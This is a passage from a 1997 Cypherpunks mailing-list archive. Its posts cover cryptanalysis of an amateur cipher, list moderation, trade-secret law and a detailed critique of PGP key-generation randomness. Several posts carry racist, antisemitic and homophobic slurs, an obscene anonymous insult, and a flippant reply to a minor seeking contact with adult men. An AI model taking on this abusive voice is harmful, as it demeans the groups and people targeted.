Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
Homepage:www.geocities.com/~pentiumru/icehtml.htm
We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Fri, 10 Jan 1997 08:46:30 -0800 (PST)
To: "Igor Chudov" <mycroft@actrix.gen.nz
Subject: RE: encryption program
Message-ID: <n1359225878.73908@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm looking for ciphertext analysis tools --

What analysis tools did you use?  Where can I get a publicly available copy?

Thanks!

PM




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 10:06:51 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: sendmail-type thing for Windows
Message-ID: <199701101800.MAA00342@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Does anyone know of a simple program for windows that can, like
sendmail, work as a mail agent ans send mail messages from its stdin? I
am interested in sending email messages from Windoze boxes as part of
some automated process driven by .BAT files.

i.e., what I need is a program that I could invoke like this

DOS> sendmail some@address.com
From: sender@originator.com
To: some@address.com
Subject: hello

hello




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 10:04:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: would you be my friend?
In-Reply-To: <5b540n$kmr@news1-alterdial.uu.net>
Message-ID: <7TRB1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


dozer@netwizards.net writes:

> Hello,
> 
> I'm 14 years old and I think I may be a gay.  I'm looking for some support an
> with a older male age 18-40.  Please email if you can help.
> 

I'm sure you'll make lots of friends on the cypherpunks mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Thu, 9 Jan 1997 19:07:23 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <970109201419_1207964145@emout18.mail.aol.com>
Message-ID: <19970110030634.28720.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> Comment: "What kind of industry standard is IMDMP above?"
> Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?
> 

Eew. Love those asymetric vs symetric key length comparisons.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 12:36:39 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701101717.JAA31508@slack.lne.com>
Message-ID: <199701102013.OAA01362@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Murray wrote:
> snow writes:
> > > Also: The AOL web site address my company has may not always work out when
> > > the server is having problems or user overloads. Please try again later.
> > > Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> > > http://members.aol.com/DataETRsch/udcm.html.
> > 
> >      For $100 up front, and about $40 a month you can get a real domain name
> > and virtual domain that doesn't have a problem with "user overloads". If 
> > you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
> > seperate issue from using it for _access_)
> 
> You would think that a company that could issue "$1,250,000 in collateral
> backed zero-coupon bonds" would be able to afford a real web site.

Mmmm... What is the collateral? Intangible assets like distribution roghts?

Also, this guy's web site is totally fucked up -- the lines in 
http://members.aol.com/dataetrsch/public/udcmv20b.txt are
very long and browsers are not supposed to wrap them.

I am also wondering, I am listed as visitor 189 on his web site. Under
most optimistic assumptions, if *every* visitor bought his product, he would
have made $40*188 = $7520.

A good money, no doubt, but to issue $1,250,000 worth of *zero-coupon* 
bonds?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 12:47:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <ZBFB1D46w165w@bwalk.dm.com>
Message-ID: <32D6C590.2E9F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> *IF* this list is to be moderated, then Unicorn and Plucky Green have
> to banned from it - unless their real names are revealed.
> 
> OK, let's guess one letter at a time. Does your last name start with 'M'?

  God, I love good cryptoanalysis.

  I ran my 'JewFinder' program on their posts and found out that Plucky
Green's keystrokes have pork residue on them, while Black Unicorn's
do not.

  'HomoPhobeII' reported that both are wearing pants with sperm stains
of other people on them, but Black Unicorn bought his pants at the
Sally Ann Thrift Store, so it classifies him only as a 'possible'
Not-Macho-Like-Me.

   'ColorBooKKK' reported that 'Black' Unicorn's lack of Ebonics in
his postings means he probably just a Nigger-Lover, and not actually 
eligible for a special education grant.  It suggests that Plucky
Green is either Irish, or needs to quit 'plucking' it, so that it
won't turn green.  

  A check of plaidworks.com reveals that both Black Unicorn and
Plucky Green are both subscribed to all 1,000 of their sports lists,
as of noon today.
 (However, since I found out that myself and all the CypherPunks
were subscribed at the same time, this may not have much meaning).

  My own careful study of the printouts of their postings reveals
that both printouts are in black ink.
  I will give this glaringly obvious similarity close scrutiny,
and report back with my conclusions.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 10 Jan 1997 13:19:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <199701101642.KAA11229@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970110160940.705A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 10 Jan 1997, Igor Chudov @ home wrote:

> I just wrote a little c program for frequency analysis, but would
> also be interested if such set of tools existed.

There are several tools for cryptanalyzing simple ciphers at ftp.ox.ac.uk/pub/
crypto/cryptanalysis and ftp.replay.com/pub/crypto/applied-crypto .  There
is also elisp code distributed with emacs that can solve a substitution
cipher.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtazUyzIPc7jvyFpAQGlzwgAhIPeDD93yR3K/S2SPJGqA8BtzC4ydOKQ
MNqFYNsNqMZEeCJgpxNGQMH4fAYF/cWYOw29sT984OAIwqcqBooK7oYKg5oSfaaD
k5ko+0edqE6im1omV5GPgrlMlcbjun+QADxjzQss2ZJnVa52G2iyGYLLZa9wTgfM
AR48vO19sOx15BdWcYC0hTbG/iiriOhGXXbtnES8XgmNSMGDmr035YV1fcZMTXnT
7Yc9uU0K0jgqbMZ1uyX6Cs/m7bauFu6MK3g2jKSYMZ4flPimOqKCJcz544/3aI0s
5zoDVWvpzD370aSPpLMfDPaj+BrJMHZwN7LLjerXEpMHU9fIyApiUg==
=/Onu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Fri, 10 Jan 1997 16:23:52 -0800 (PST)
To: Greg Broiles <gbroiles@c2.net>
Subject: Re: Trade secrets / moderator liability
In-Reply-To: <3.0.32.19970109151839.006b554c@gabber.c2.net>
Message-ID: <32D6E00F.2855@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> As reported by Michael Froomkin's correspondent, the Uniform Trade Secrets
> Act <http://www.execpc.com/~mhallign/usta.html> (enacted with local
> modifications in, as I understand it, 40 states, among them California)
> says that third parties may be held liable for misappropriation of a trade
> secret where the third party knows or has reason to know that they are
> doing so.
> 
> For example, California Civil Code section 3426.3 says:
> 
> 3426.3.(a) A complainant may recover damages for the actual loss caused by
> misappropriation.  A complainant also may recover for the unjust enrichment
> caused by misappropriation that is not taken into account in computing
> damages for actual loss.
>         (b) If neither damages nor unjust enrichment caused by misappropriation
> are provable, the court may order payment of a reasonable royalty for no
> longer than the period of time the use could have been prohibited.
>         (c) If willful and malicious misappropriation exists, the court may award
> exemplary damages in an amount not exceeding twice any award made under
> subdivision (a) or (b).
> 
> And misappropriation is defined in California Civil Code section 3426(1)(b)
> as:
> 
> (1) Acquisition of a trade secret of another by a person who knows or has
> reason to know that the trade secret was acquired by improper means; or
> (2) Disclosure or use of a trade secret of another without express or
> implied consent by a person who:
>    (A) Used improper means to acquire knowledge of the trade secret;
> or
>    (B) At the time of disclosure or use, knew or had reason to know that
> his or her knowledge of the trade secret was:
>    (i) Derived from or through a person who had utilized improper means to
> acquire it;
>    (ii) Acquired under circumstances giving rise to a duty to maintain its
> secrecy or limit its use; or
>    (iii) Derived from or through a person who owed a duty to the person
> seeking relief to maintain its secrecy or limit its use; or
>    (C) Before a material change of his or her position, knew or had reason
> to know that it was a trade secret and that knowledge of it had been
> acquired by accident or mistake.
> 
> My other concern about moderator liability for approving/distributing trade
> secret material is in the criminal context. For example, the Economic
> Espionage Act of 1996 (HR 3723, now found at 18 USC 1831 et seq,
> <ftp://ftp.loc.gov/pub/thomas/c104/h3723.enr.txt> ) says that some trade
> secret violations are now a federal crime; and California Penal Code
> section 499c(b) also criminalizes some wrongful acts relating to trade
> secrets. Specifically, I think it's feasible to find aiding & abetting
> (and, more remotely, conspiracy) liability where a moderator knowingly and
> substantially contributes to public disclosure of a trade secret.
> 
> It seems to me that there's a murky middle period, where the trade secret
> is known to some wrong people, but is still substantially a secret, where
> third party liability is present. But once a wide distribution of the
> secret is made, I don't think it's meaningful to talk about further
> distribution as misappropriation. If there's no common-sense "it's no
> longer a secret" safety valve, trade secret would provide time-unlimited
> protection to publically available information, which I think would be
> preempted by (or frustrate the purpose of) Congress' limited grants of
> protection to information via patent and copyright. But this is only my
> conjecture about how things ought to work, given the responsibilities
> created for third parties by statutes like the UTSA; I don't know of cases
> on this issue and given my work/bar review schedule, won't have time to
> find them any time soon.
> 
> Also, as I mentioned in my previous message, I think there are good
> arguments that neither of the prominent trade secret disclosures I'm
> familiar with that have occurred (in part) via the list would create
> moderator liability. I'm mentioning moderator liability (and writing what's
> turning into a long message about it) not because I think it's an
> especially big danger but because I think it's an interesting public policy
> issue.
> 
> I don't have the teeniest clue how other nations' laws might treat third
> parties who assist or enable the wide dissemination of trade secret
> materials. Perhaps other list members can offer a local perspective.
> 
> --
> Greg Broiles
> gbroiles@c2.net
> 510-986-8779 voice
> 510-986-8777 fax


So YOU think the moderator of the list should be held responsible?  You
say it is an interesting public policy issue....mmm..I guess for
bootlickers who want to control the flow of data freely in the public
forum......Nay I say...it is ridiculous to even think that.  The
moderator is providing a platform for other people to converse.  And
since this is an UNMODERATED group...mmm??...Besides....I guess your not
very familiar or even sympathetic to the hacker's creedo are you? 
Knowledge is power....and if only the few have power...well..no checks
and balances...

If a company is worried about thier special little secret...well..it's
there damned responsiblity to make sure it stays a secret...and well if
it gets out...ie...they were stupid enough not to have the appropriate
security measures...well..I guess it would no longer be a secret then,
correct?  Man..can't anyone take responsibility for thier own actions
anymore??  

What the fuck is wrong with this country??....Land of the free??...YEAH
RIGHT!!????

BAH HUMBUG.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Thu, 9 Jan 1997 21:11:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <199701090132.TAA28002@manifold.algebra.com>
Message-ID: <199701100342.QAA20144@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997 19:32:20 -0600 (CST), Igor Chudov wrote:

   Cypherpunks, why don't we try to crack his encryption program? It seems
   like a fun exercise.

Well, a few minutes looking at it turned up the following:

* Capitalisation and word lengths are retained in the ciphertext, so
  there's no transposition involved (or he's being sneaky to make it
  look that way :-) )
* The two 'e's in the first word have different ciphertext equivalents,
  so it's not a single-alphabet substitution
* The words "wjq nwcc" occur together twice, 300 characters apart,
  the word "iyn" occurs three times, 375 and 300 characters apart,
  the word "fhw" occurs twice, 1400 characters apart, and
  the word "git" occurs twice, 500 characters apart.  This suggests
  a repeating key of length 5 or 25 characters.
* However, the letter 'r' in "Here" and "encryption" and the letters
  'am' in "example" and "program" occur 25 characters apart and have
  different ciphertext equivalents.  Possibly the key position is
  being incremented when "encrypting" digits and other non-alphabetic
  symbols, so my counts above (only letters) are wrong.

Also, I suspect that in the following ciphertext, EJMDLH.WKN and
ZFIYVZ.XGA are "CONFIG.SYS", KALMF is "FILES" and "ZPKQUST" is
"BUFFERS".

   ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
   ##> 
   ##>       KALMF=20
   ##>       ZPKQUST=20
   ##> 
   ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Life is a POPULARITY CONTEST!  I'm REFRESHINGLY CANDID!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Wuertele <dave@cave.gctech.co.jp>
Date: Fri, 10 Jan 1997 00:31:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES   Challenge)
In-Reply-To: <199701082322.XAA09234@brd.ie>
Message-ID: <ygepvzej5kl.fsf@cave.gctech.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


"Frank O'Dwyer" <fod@brd.ie> writes:

> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

Perl 5.0 has a better, simpler, safety mode than Java (and probably Safe-TCL
too), and runs on more machines.  It is also the standard for CGI, so anyone
already running CGI could simply add a perl-based crypto service.

Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Fri, 10 Jan 1997 17:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Goppa codes
Message-ID: <199701110141.RAA26832@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[unt] Mayonnaise was born when his mother 
was on the toilet.

  .  ___ o Timothy C[unt] Mayonnaise
  ^z\/o\ o
  ^z/\_~_/
  '   '





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 10 Jan 1997 14:43:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES 128
Message-ID: <970110173243_2022167725@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


DES 128 is a cloned version of the original DES.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>isptv@access.digex.net
Date: Fri, 10 Jan 1997 14:44:17 -0800 (PST)
Subject: Bennet Haselton of Peacefire on ISP-TV "Real Time" Monday night
Message-ID: <199701102244.RAA07755@access1.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	"Real Time" Interview with Bennet Haselton
	Founder of Peacefire

***

*** Monday, Jan. 13  ***
*** 9:00 PM ET      ***

Bennet Haselton is the founder of Peacefire, a "teen Net anti-censorship
Alliance." He's an 18-year old student at Vanderbilt University, and has
recently been involved in a dispute with Solid Oak Software over their
product "Cybersitter." Haselton claims that he simply ran the software,
and found out that it blocked far more than just cyberporn, but also other
web sites such as the National Organization for Women. Solid Oak's Mark
Kanter says "There was no way he could have known who was on our list
without breaking into our system."

We'll talk with Haselton about Peacefire, the ethics of kid-proofing the
net with censorware, and perhaps hear his side of the Cybersitter dispute.

Call-in questions will be taken during the show at (301) 847-6571. 

****
"Real Time" Extra:  The MAE-East, up close and personal.  RT recently
traveled to the Mecca of the Internet, the MAE-East, a major Internet
peering point where over 50 providers continually exchange between 300 and
700 Mbps of data.  See what the GigaSwitches look like, marvel at the
power backup system, find out what soda cans technicians leave behind in
the MAE.  All this after the Haselton interview.
****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html. 

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 10 Jan 1997 14:47:15 -0800 (PST)
To: mycroft@actrix.gen.nz
Subject: Re: Re: encryption program
Message-ID: <970110173818_1890890811@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Was your anaylsis for IMDMP or another algorithm?

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 10 Jan 1997 16:12:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D1EA88.7C4F@gte.net>
Message-ID: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> 1. Sandfort is the person who would never drop an argument, no matter
>    how long, until he had the last word.  I know since I went rounds
>    with him a time or two.  As far as I can tell (not being a profess-
>    ional psychologist), Sandy has some emotional limitations that would
>    make him a poor choice to moderate such an intense list as this.
>    Certainly the moderated list would still be quite intense, since
>    the intent is to be a political/social forum. Sandfort unfortunately
>    appears to be a special friend of Gilmore's, and I don't think John
>    has taken the time to consider the outcome.

Sandfort isn't the only one who will do this, there will be a pool of 
moderators. Regardless of your personality conflict, I am sure that Sandy 
will remain fair and allow appropriate posts from you through. i.e. 
anything to do with crypto. :)

 
> 2. The only possible scheme that could work long-term would be a moderated
>    list plus a deleted (excised?) list of posts which didn't make the
>    moderator's cut. Having a moderated list and a full unmoderated list
>    is certain to fail, and I'm not too sure that they don't have this in
>    mind already.

What makes you say that there is only one scheme that can succeed?  Why is
having a moderated list and an unmoderated list bound to fail?  The plan
actually (unless it changed without my knowlege) is to have 3 lists.  1
moderated, 1 rejects, 1 unmoderated.  This can be optimized as 1 moderated
and 1 rejects as you propose, since asking for all is the same as asking
for moderated+rejects. 

> 3. Not making the unmoderated list first-up (i.e., cutting posts first,
>    then making the "full" list available later) is suspicious, or at
>    least a bad idea.

What difference does it make if a message is delayed for 10-30 minutes?  
Why is it a bad idea or suspicious?  If you post something and it doesn't 
make it at all, you can complain about it.  Is that what you fear?

The point was to optimize the sendmail to send moderated messages first.

> 4. Moving everyone to the moderated list and then having people who want
>    the full list unsubscribe and resubscribe is more evidence of bad
>    faith.  If what Sandy says is true (I don't believe it), the vast
>    majority of posts (excluding obvious spam, probably 75 or more a day)
>    will be in the moderated list, therefore I think anyone can see that
>    merely cutting the spam and bad flames is not the ultimate intent.
>    To do that, all they would have had to do is announce a bucket where
>    they're dropping the excisions, and let whoever wants them to pick
>    them up from there. Maybe they thought that would make them look bad,
>    but before this is over (if they continue on their present course),
>    they're going to look much worse.


Bad faith comes from the thousands of unsubscrive and such messages 
posted here.  People have no clue as how to do things.

In the interest of cutting the crap off this list which has virtually 
brought the list down to its knees because of our friendly KOTM dude, it 
is best to bring a bit of civility here.  If people want to see crap, let 
them subscribe to it.

It's bad enough to have spammers and advertisers on a list, but if we have
the majority of the subscribers immune to their spams, the spam will die. 
If everyone had the ability to filter out commercials, especially the
annoying ones, advertisers would go away.  The difference here is that the
ads don't support the station with $, they flood it with crap which
alienates discussions. 

> I just can't believe Gilmore wants to have Sandfort do this.  There's
> gotta be someone he can trust who has a viable reputation.  Then again,
> who with a decent reputation would want to moderate cypherpunks?

You have a personal problem with Sandford, it doesn't mean that Sandy 
will be unable to be a perfectly able moderator.  I'm sure Sandy will do 
a fine job, but that is my oppinion and it doesn't match yours.  From the 
looks of it, it's more the case that this is a clash of egoes rather than 
a complaint about the moderation.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 10 Jan 1997 16:15:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: USENET: Critique of PGP Key Generation
Message-ID: <199701110014.TAA11807@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>Newsgroups: comp.security.pgp.tech
From: chl@clw.cs.man.ac.uk (Charles Lindsey)
Subject: Critique of PGP Key Generation
Message-ID: <E3qsA1.49K@clw.cs.man.ac.uk>
Summary: The key generation process seems to be safe, but not so easily shown
	to be so.
Date: Thu, 9 Jan 1997 13:03:36 GMT
Lines: 325


		Critique of PGP Key Generation
		------------------------------

Key generation is probably the weakest link in PGP, or indeed within any RSA
system. Specifically, it is the one place where a supplier of a binary
version of the system could insert a Trojan Horse that could not be detected
by any feasible tests run on it.

For this reason, having just acquired a copy of PGP 2.6.3ia (that is 2.6.3
with Stale's patch) and being of a paranoid disposition (just as Phil
recommends we should be), I decided to inspect the source code for the Key
Generation part to see if it contained anything that might compromise the
security of the keys that are generated. For the record, I found nothing of
the sort. The code makes strenuous (even paranoid) attempts to be utterly
fair. However, I did uncover a few features which, under a false pretence of
adding extra security, actually made my task of finding the true security much
harder. So I thought it might be useful to document the whole process,
pointing out the (mis-)features that caused me concern.

Overview of key generation
--------------------------

First, you have to generate two random numbers. So, for a 512-bit key, say,
you generate two 256-bit randoms. Actually, it insists that the top two bits
of the numbers are '1', so you actually generate numbers in the range 
(2**255 + 2**254) <= p <= (2**256 - 1), so there are 2**254 possible numbers
obtained from 254 random bits.

THE WHOLE SECURITY OF THE SYSTEM DEPENDS ON THE FACT THAT THE PROGRAM MUST BE
CAPABLE OF GENERATING EACH AND EVERY ONE OF THESE 2**254 NUMBERS WITH
MORE-OR-LESS EQUAL PROBABILITY.

Next, from each random number, you generate a prime number. Starting from the
given number, you look at each successive number to see if it might be prime.
Well, obviously you only look at the odd ones, and in fact you only look at
every 4th number because it tries to create "Blum" numbers for some reason or
other. It uses a simple sieve to eliminate obvious cases, using a table of the
first 1028 prime numbers. Anything that survives the sieve is subjected to
Fermat's test (if ((x**(p-1)) mod p) != 1, then p is not prime) using
x = 2,3,5,7 (not a very original selection!). See the comments in genprime.c
for why this is considered more than a safe test. It insists that the two
prime numbers generated differ by at least 1 part in 128.

Next, you multiply your two (alleged) primes P and Q to give the modulus N,
and from P, Q and N the RSA public and private keys can be derived in the
standard manner. I estimate that for a 512-bit key there are 8*10**73 possible
primes P and Q, giving 1.6*10**147 possibilities for N. For a 1024-bit key,
these numbers are increased to 7*10*150 and 1.4*10**301. Which shows why a
brute-force attack on an RSA encription is not feasible.


Paranoia
--------

N is part of your public key. Anyone who knows P and/or Q knows your secret
key. Therefore, just in case an eavesdropper gets access to your hard disc or
to your RAM immediately after you have finished, all sensitive numbers (the
random numbers, P, Q, all the other components of your secret key, and your
pass phrase) are overwritten in memory at the earliest opportunity, and never
deliberately written to hard disc at all (but they might be swapped to disc at
some stage, so if you perform the operation on a discless workstation which
pages across some network, and a wily eavesdropper who just happens to know
you were generating your key at that time just happens to be monitoring your
ethernet, and if ... ). And any copies of your keyrings written temporarily to
your hard disc (even though they are encripted by IDEA by that stage) are
overwritten before being relinquished.


Random number generation
------------------------

But the whole system is only as good as its random number generator. It is no
use using a pseudo-random number generator starting from some simple 32-bit
seed (derived from the time of day, perhaps). That could generate, at most,
2**32 different keys (since pseudo-random sequences are deterministic and
hence reproducible). You need 512 genuinely random bits to meet the criterion
of being able to generate all possible 512-bit keys.

The system uses an array of (currently) 96 32-bit words (i.e. 384 bytes or
3072 bits) known as randPool, initially set to zero. The '96' is required for
technical reasons to be a multiple of 4; otherwise I should much have
preferred a prime number (such as 97). It proceeds by XOR-ing supposedly
random bytes into successive positions; in practice always a multiple of 4
bytes at a time (this is a Bad Thing) derived from some 32-bit word. Some of
these words are quite predictable, some are well correlated with other such
words, and some are more-or-less independent. THE CRUCIAL QUESTION IS WHETHER
A SUFFICIENT NUMBER OF THEM ARE TRULY INDEPENDENT, so as to ensure the required
number of truly random bits.

A certain pattern of such words (examined in detail below) is XOR-ed in
repeatedly (typically for 73 cycles when generating a 512-bit key). When
randPool has been filled in it wraps around. But this could mean that the same
positions in the pattern are being XOR-ed on top of themselves, which is why I
would have preferred a prime number for the size of randPool, and why I would
have preferred the pattern itself not to have been a multiple of 4 bytes. Now
actually this problem should not matter, because the randPool is "stirred"
between each cycle, and if the stirring is as effective as claimed it makes
all the bits totally "forget" where they were. But I believe that this is a
case where "not only should security be achieved, but security should be SEEN
to be achieved". Stirring is described below.  Typically, in a UNIX system,
the randPool will be stirred and wrapped 11 times when generating a 512-bit
key.

Sources of randomness
---------------------

At this stage, the system tells you to type at random on your keyboard,
informing you that it is going to "measure the time intervals between your
keystrokes". This is not quite true. The actual behaviour is somewhat complex
but you do get, for each keystroke, a cycle of words XOR-ed into randPool, as
described above. It would be a good idea to vary your rate of typing in a
random manner - following the rhythm of a tune such as the William Tell
Overture should generate plenty of randomness (but now I have said that,
please choose your own tune in case some wily eavesdropper now does a
statistical analysis of William Tell).

Different systems behave differently at this point, but they all assume that
some form of "tick" is generated by the operating system for use for timing
processes, giving the time-of-day, etc. In UNIX systems, there are two ticks:
one fine tick (possibly every microsecond) derived from the real-time quartz
clock for time-of-day purposes and one coarse tick (typically every 10
milliseconds) for timing processes (each time this tick occurs there is an
interrupt, and whatever process is running at that moment is credited with
10msec of CPU time - or something like that). Since the random number
generation works by counting ticks, it is important to know how coarse the
ticks are.

All systems start off the same way (see noise,c):

A.  A call of clock(). Gives (supposedly) the number of microseconds of CPU
    used in this process. But it usually relies on a coarse tick (in Solaris
    it is always a multiple 0f 10000). Moreover it increases monotonically
    with successive calls, and successive calls frequently return the same
    value (this part of the process is not CPU-intensive). NOT a good source
    of randomness.

B.  A call of time(). Gives the number of seconds since Jan. 1st 1970. Even if
    the wily eavesdropper is not online to know the exact time you generated
    your key, the date on which you generated it is indeed public knowledge.
    Again, it increases monotonically and slowly (this phase of the process
    should take no more than half a minute all told). NOT a good source of
    randomness.

Now we need to distinguish between different systems.

1) MSDOS

C.  A call of pctimer0(). Seemingly this gives an unsigned (hopefully 32 bits)
    taken from a clock ticking every .84 usec (but you will not get .84 usec
    resolution).  But, apart from being monotonic, the values returned should
    be as random as your typing.

2) MAC

C.  A call of TMTicks(). Again an unsigned long and presumably as random as
    your typing.

3) Win32 with the Microsoft compiler

C.  A call of QueryPerformanceCounter(). An unsigned (hopefully 32 bits) and
    presumably as random as your typing.

4) VMS

C. A call of SYS$GETTIM(). A unsigned long divided by 100000 (supposedly the
    ticks per update). Presumably as random as your typing, but you will not
    get much randomness unless you type rather slowly.

5) AMIGA

C.  A call of either ReadEClock() (the low-order 32 bits) or am_GetSysTime()
    (32 bits of seconds - presumably since 1970 - and 32 bits of
    microseconds). With am_GetSysTime() the seconds since 1970 is pretty
    useless, since we already had those bits under 'A.'. I could believe the
    microseconds or the output of ReadEClock().

D.  16 bits of additional noise from the video beam position. Neat!

E.  The ExecBase dispatch count, whatever that is.

6) ATARI

C.  A system call giving the 32-bit output from a 200Hz counter and 32 bits
    from a 50/60/70Hz Vertical BLank counter. Under the Pure C compiler, only
    the second of these is taken (the first is said to give the same as the
    earlier call of clock()). Coarse as these ticks are, they can still give
    true randomness if called often enough.

7) UNIX
This is the system I have studied most intensively. It calls every system call
it can think of (and would have called the kitchen sink too, had it been
available). As I will show, this just creates FUD rather than randomness.

C.  A call of gettimeofday(). This returns two 32-bit words. The first is just
    the seconds since 1970 which we have already had, so it adds nothing new.
    The second is the number of microseconds since the last full second. This
    should be based on a fine tick size, and is therefore as random as your
    typing, but it is the only source of true randomness that I would trust
    from the UNIX systems.

D.  A call of times(). This gives 4 32-bit words:
    D1. The number of coarse ticks in this process. Typically this is one byte
        increasing monotonically but slowly. Useless as a source of
        randomness.
    D2. The number of coarse system ticks on behalf of this process. Increases
        perhaps twice as fast as the previous, but still useless.
    D3. The number of coarse ticks by children of this process. Always zero,
        because PGP never forks.
    D4. The number of coarse system ticks by children of this process. Also
        zero.

E.  Also from the same call of times(), the number of elapsed coarse ticks
    since boot time. The bottom byte changes somewhat faster than in the
